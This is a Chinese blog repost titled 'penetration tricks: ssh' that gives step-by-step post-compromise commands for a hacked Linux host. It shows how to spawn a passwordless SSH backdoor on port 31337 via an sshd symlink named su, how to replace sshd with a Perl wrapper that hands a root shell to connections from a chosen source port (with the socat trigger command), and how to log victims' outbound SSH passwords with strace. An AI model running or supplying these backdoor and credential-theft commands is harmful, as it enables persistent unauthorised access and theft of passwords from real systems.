渗透技巧之ssh

原文地址:http://www.anquan.us/static/drops/tips-1951.html

1. 入侵得到SHELL后,对方防火墙没限制,想快速开放一个可以访问的SSH端口

肉鸡上执行

mickey@vic:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 

就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

效果图:

enter image description here

2. 做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接

在肉鸡上执行:

[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart

在本机执行:

socat STDIO TCP4:10.18.180.20:22,sourceport=13377

如果你想修改源端口,可以用python的struct标准库实现

>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

效果图如下:

enter image description here

3. 记录SSH客户端连接密码

搞定主机后,往往想记录肉鸡SSH连接到其他主机的密码,进一步扩大战果,使用strace命令就行了。

效果图:

enter image description here


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值